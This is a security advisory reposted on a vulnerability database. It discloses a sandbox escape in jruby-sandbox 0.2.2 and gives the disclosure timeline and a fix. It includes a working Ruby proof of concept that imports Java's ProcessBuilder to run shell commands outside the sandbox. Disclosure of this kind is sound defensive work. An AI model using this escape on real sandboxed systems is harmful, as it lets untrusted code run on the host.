Lucene search
K

JRuby Sandbox 0.2.2 - Sandbox Escape

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

jRuby Sandbox 0.2.2 - Sandbox Escape. Allows execution of arbitrary code outside sandboxed environmen

Code

                                                Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +-+++>

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        jruby-sandbox <= 0.2.2
        https://github.com/omghax/jruby-sandbox

[ Vendor communication ]
        2014-04-22 Send vulnerability details to project maintainer
        2014-04-24 Requesting confirmation that details were received
        2014-04-24 Maintainer states he is working on a test case
        2014-04-24 Maintainer releases fixed version
        2014-04-24 Release of this advisory

[ Description ]
        jruby-sandbox aims to allow safe execution of user given Ruby
        code within a JRuby [0] runtime. However via import of Java 
        classes it is possible to circumvent those protections and 
        execute arbitrary code outside the sandboxed environment.

[ Example ]

require 'sandbox'
sand = Sandbox.safe
sand.activate!

begin
  sand.eval("print `id`")
rescue Exception => e
  puts "fail via Ruby ;)"
end
puts "Now for some Java"

sand.eval("Kernel.send :java_import, 'java.lang.ProcessBuilder'")
sand.eval("Kernel.send :java_import, 'java.util.Scanner'")
sand.eval("s = Java::java.util.Scanner.new( " + 
          "Java::java.lang.ProcessBuilder.new('sh','-c','id')" + 
          ".start.getInputStream  ).useDelimiter(\"\x00\").next")
sand.eval("print s")

[ Solution ]
        Upgrade to version 0.2.3

[ References ]
        [0] http://jruby.org/

[ end of file ]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21